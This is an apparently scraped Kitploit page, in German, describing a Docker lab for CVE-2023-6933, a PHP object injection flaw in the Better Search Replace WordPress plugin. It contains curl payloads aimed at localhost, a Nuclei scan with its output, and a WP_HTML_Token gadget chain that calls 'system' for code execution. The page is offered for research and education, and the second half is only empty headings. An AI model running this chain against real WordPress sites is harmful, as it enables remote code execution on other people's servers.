vulnerable-bsr-lab-CVE-2023-6933 — Praktisches Labor für CVE-2023-6933, eine PHP-Objektinjektions-Schwachstelle im Better Search Replace WordPress-Plugin, mit Docker-Bereitstellung, Nuclei-Template und Exploit-Skripten für Sicherheitsforschung und Bildung. | Kitploit

CVE-2023-6933 Schwachstellen-Labor

Überblick

Diese Laborumgebung demonstriert CVE-2023-6933, eine kritische PHP-Object-Injection-Schwachstelle im WordPress-Plugin Better Search Replace in Versionen ≤1.4.4.

Schwachstellendetails

CVE ID: CVE-2023-6933
CVSS-Score: 9.8 (Kritisch)
Betroffenes Plugin: Better Search Replace ≤1.4.4
Schwachstellentyp: PHP-Object-Injection über unserialisierte Benutzereingaben
Angriffsvektor: AJAX-Endpunkt /wp-admin/admin-ajax.php mit der Aktion search_replace_db

Schnellstart

1. Labor bereitstellen

# Repository klonen
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933

# Bereitstellung mit Docker-Hub-Image (automatischer Pull)
docker-compose up -d

# Automatisierten POC ausführen
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

# Manueller Test per curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'

$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]

[INF] Scan completed in 67ms. 4 matches found.

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:14:"touch /tmp/rce";
    s:9:"node_name";s:8:"testnode";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

# Grundlegende Plugin-Präsenz testen
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"

# Schwachstelle mit sicherer Payload testen
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"

Dienst	URL	Zugangsdaten
WordPress	http://localhost:8080	admin/admin
phpMyAdmin	http://localhost:8081	root/rootpassword

vulnerable-bsr-lab-CVE-2023-6933

Beliebteste

2. Auf die Umgebung zugreifen

3. Die Schwachstelle testen

Technische Analyse

Die Schwachstelle

POC-Verifikationsmethoden

Hauptmerkmale dieses Labors

Dokumentation

Kurzreferenz

Professionelle PoC-Vorlage

Testergebnisse

Erfolgreiche POC-Ausführung

Sicherheitshinweis

Bereinigung

Referenzen

Docker-Umgebung (`Docker_LAB_SETUP/`)

Exploit-Skripte

Erkennungstools

🎯 Korrekte Exploitation-Methodik

1. Erfolgsbasierte Erkennung

2. WP_HTML_Token-RCE-Kette

3. Mehrere Angriffsvektoren

🔬 Testansatz

Manuelles Testen

Funktionen der Nuclei-Vorlage

Funktionen des manuellen Tests

📊 Labor-Zugangspunkte

🛡️ Sicherheitsüberlegungen

Für Forscher

Für Verteidiger

📚 Bildungswert